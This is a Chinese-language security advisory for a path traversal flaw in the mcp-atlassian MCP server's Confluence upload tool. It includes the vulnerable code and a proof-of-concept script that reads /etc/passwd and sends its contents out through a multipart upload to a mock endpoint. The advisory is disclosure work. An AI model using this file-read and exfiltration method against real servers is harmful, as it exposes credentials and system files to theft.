严重性:高(CVSS 8.6)
CWE:CWE-22 — 路径遍历
受影响版本:sooperset/mcp-atlassian < 0.22.0
修复版本:0.22.0
安全公告:GHSA-p6hp-93wp-fh6p
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-77262
发现者:Romain Deperne
confluence_upload_attachment MCP 工具将其 file_path 参数直接传递给 open(file_path, "rb"),且没有任何路径验证。能够调用该工具的攻击者可以读取服务器文件系统上的任意文件,并通过 multipart 上传将其外泄到攻击者控制的 Confluence 端点。默认的 streamable-http 传输绑定 0.0.0.0 且无身份验证,使得该漏洞可在无需凭据的情况下远程利用。
这是先前已修复的 GHSA-xjgw-4wvw-rgm4 的读取侧对称孪生漏洞——v0.17.0 的修复仅覆盖了写入/下载路径。上传路径未受到防护。
mcp-atlassian 已在 v0.17.0(GHSA-xjgw-4wvw-rgm4)中收到过路径遍历修复,该修复修补了写入路径——即将附件下载到本地磁盘。我的假设是:当对对称操作的一个方向应用修复时,另一个方向往往会被遗漏。
审查 attachments.py 中的 open( 调用点后发现,下载路径在打开文件之前调用了 validate_safe_path(local_path),而上传路径则没有。两个方向的路径验证不一致。
工具定义证实了这一点:file_path: Annotated[str, Field(description="Absolute path to the file to upload")],没有 pattern= 约束,没有验证器,什么都没有。该字段的字面文档描述为接受绝对路径且无任何限制。
我进行了端到端复现:启动了真实的 mcp-atlassian 服务器进程,使用 MCP stdio 客户端(mcp.ClientSession)驱动它,将其指向本地模拟的 Confluence HTTP 桩,并以 file_path=/etc/passwd 调用了 confluence_upload_attachment。模拟服务器在 multipart 请求体中记录了完整的 /etc/passwd 内容。两次完整的复现运行,均记录在 PoC 文件中。
默认的 HOST=0.0.0.0 绑定且无身份验证,使得该漏洞可在默认部署中无需凭据即可远程利用。
文件:src/mcp_atlassian/confluence/attachments.py,第 477 行
with open(file_path, "rb") as fp: # ← file_path 由攻击者控制
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
工具定义(src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# 无 pattern=,无验证器,无 validate_safe_path()
与已修补下载路径的不对称性:
# attachments.py:223 — 已修补(下载路径)
validate_safe_path(local_path) # ← v0.17.0 中添加的防护
open(local_path, "wb")
# attachments.py:477 — 存在漏洞(上传路径)
open(file_path, "rb") # ← 无防护,v0.17.0 中遗漏
针对 GHSA-xjgw-4wvw-rgm4 的 v0.17.0 补丁在写入侧(将附件下载到本地磁盘)添加了 validate_safe_path() 调用,但未审计读取侧(将本地文件上传到 Confluence)。check_write_access 装饰器与此无关——它仅控制 READ_ONLY_MODE。
默认网络暴露(src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # 绑定所有接口
# streamable-http 传输中无身份验证层
已针对模拟 Confluence API 的本地 HTTP 桩进行了完整的端到端复现。参见 mcp_client.py、mock_confluence.py 和 poc_run1.sh。
# poc_run1.sh — 通过 confluence_upload_attachment 读取 /etc/passwd
# 1. 启动模拟 Confluence 端点
python mock_confluence.py &
# 2. 使用路径遍历载荷调用 MCP 工具
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → /etc/passwd 内容出现在 mock_confluence.py 日志中
/etc/passwd、SSH 密钥、.env、应用程序机密)streamable-http 传输绑定 0.0.0.0,无身份验证;任何网络可达的攻击者均可直接调用 MCP 工具